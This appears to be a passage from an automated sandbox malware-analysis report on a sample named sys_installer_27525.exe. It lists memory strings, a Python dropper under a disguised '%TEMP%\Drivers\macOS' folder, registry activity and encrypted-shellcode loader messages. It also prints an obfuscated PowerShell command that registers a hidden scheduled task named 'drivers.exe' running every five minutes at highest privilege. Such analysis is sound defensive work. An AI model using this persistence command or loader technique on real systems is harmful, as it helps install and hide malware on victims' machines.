"00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ecdsa"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00001352.00000000.176224.051F0000.00000004.mdmp")58:T555,Found reference to API "GetProcessesByName" (Indicator: "GetProcessesByName"; Source: "00000000-00001352.00000000.176224.00B02000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002592.00000000.177629.03BB0000.00000004.mdmp, 00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.08C80000.00000004.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002592.00000000.177629.6DB78000.00000002.mdmp, 00000000-00002592.00000000.177629.6E3A6000.00000002.mdmp, 00000000-00002592.00000000.177629.6F242000.00000002.mdmp, 00000000-00002592.00000001.179550.01092000.00000002.mdmp, 00000000-00002592.00000001.179550.6E38E000.00000002.mdmp, 00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp, 00000000-00002592.00000002.181470.6E3C0000.00000002.mdmp, 00000000-00002592.00000002.181470.72155000.00000002.mdmp")59:T4d9,Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAHIAaQB2AGUAcgBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwASABBAFAAVQBCAFcAUwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZAByAGkAdgBlAHIAcwAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=" (UID: 00000000-00005792)5a:T4d9,Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAHIAaQB2AGUAcgBzAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwASABBAFAAVQBCAFcAUwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAZAByAGkAdgBlAHIAcwAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=" (UID: 00000000-00005792)5b:T190c,file/memory contains long string with (Indicator: "\drivers\"; File: "run.vbs") Found string "%TEMP%\Drivers\macOS" (Indicator: "\drivers\"; Source: "00000000-00004796-00000C3E-5362995254") Found string "%TEMP%\Drivers\macOS\py.exe %TEMP%\Drivers\macOS\run.py" (Indicator: "\drivers\"; Source: "00000000-00004796-00000C46-6444312232") Found string "%TEMP%\Drivers\macOS\python3" (Indicator: "\drivers\"; Source: "00000000-00002592-00000C2A-1704775694") Found string "%TEMP%\Drivers\macOS\_ctypes.pyd" (Indicator: "\drivers\"; Source: "00000000-00002592-00000C2A-1704858435") Found string "%TEMP%\Drivers\macOS\_bz2.pyd" (Indicator: "\drivers\"; Source: "00000000-00002592-00000C2A-1705092523") Found string "%TEMP%\Drivers\macOS\_lzma.pyd" (Indicator: "\drivers\"; Source: "00000000-00002592-00000C2A-1705132364") Found string "%TEMP%\Drivers\macOS\*.*" (Indicator: "\drivers\"; Source: "00000000-00002592-00000C2D-1743339455") Found string "%TEMP%\Drivers\macOS\run.py" (Indicator: "\drivers\"; File: "py.exe") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp, 00000000-00001352.00000001.177223.03030000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001352.00000000.176224.03030000.00000004.mdmp, 00000000-00001352.00000001.177223.03030000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\Device\"; Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\DosDevices\"; Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found string "C:\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\py.exe" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000000.177629.03B70000.00000004.mdmp, 00000000-00002592.00000000.177629.05AC0000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.05870000.00000004.mdmp, 00000000-00002592.00000001.179550.059B0000.00000004.mdmp, 00000000-00002592.00000002.181470.032C0000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found string "C:\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\py.exe C:\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\run.py" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\python311.dll" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\VCRUNTIME140.dll" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string "C:\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\run.py" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000000.177629.03B70000.00000004.mdmp, 00000000-00002592.00000000.177629.05AC0000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.05870000.00000004.mdmp, 00000000-00002592.00000001.179550.059B0000.00000004.mdmp, 00000000-00002592.00000002.181470.032C0000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.05870000.00000004.mdmp") file/memory contains long string with (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\py.exe" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.09AF0000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.09AF0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\run.py" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\python311.zip" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000000.177629.057F0000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\Users\HAPUBWS\AppData\Local\Temp\Drivers\macOS\py.exe.config" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.03360000.00000004.mdmp, 00000000-00002592.00000002.181470.03360000.00000004.mdmp") Found string ":\users\hapubws\appdata\local\temp\drivers\macos\py.exe" (Indicator: "\drivers\"; Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp, 00000000-00002592.00000001.179550.05870000.00000004.mdmp, 00000000-00002592.00000002.181470.05870000.00000004.mdmp")5c:Tee4,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DIRECTACCESSQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYIPMATCHING"; Value: "")5d:T2040,"powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "CE64428B12EADC010000000000000000000000000200000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\SYS_INSTALLER_27525_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "sys_installer_27525.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "6B0C000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE83006F000000A19F5E000400010000006B00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000001F0000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000") "python.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "python.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "python.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "python.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "python.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE"; Key: "C:\PROGRAM FILES (X86)\ADOBE\READER 11.0\READER\ACRORD32.EXE.FRIENDLYAPPNAME"; Value: "Adobe Reader"), "python.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE"; Key: "C:\PROGRAM FILES (X86)\ADOBE\READER 11.0\READER\ACRORD32.EXE.APPLICATIONCOMPANY"; Value: "Adobe Systems Incorporated"), "python.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "6C0C000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE83006F000000A19F5E000400010000006D00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000001F0000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000"), "py.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000")5e:T96d,Found reference to API "f"Reading encrypted shellcode from {encrypted_path}"" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "Reading encrypted shellcode from" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "f"[ERROR] read_and_decrypt_shellcode: {e}"" (Indicator: "shellcode"; Source: "00000000-00002592.00000000.177629.03B70000.00000004.mdmp") Found reference to API "[ERROR] read_and_decrypt_shellcode:" (Indicator: "shellcode"; Source: 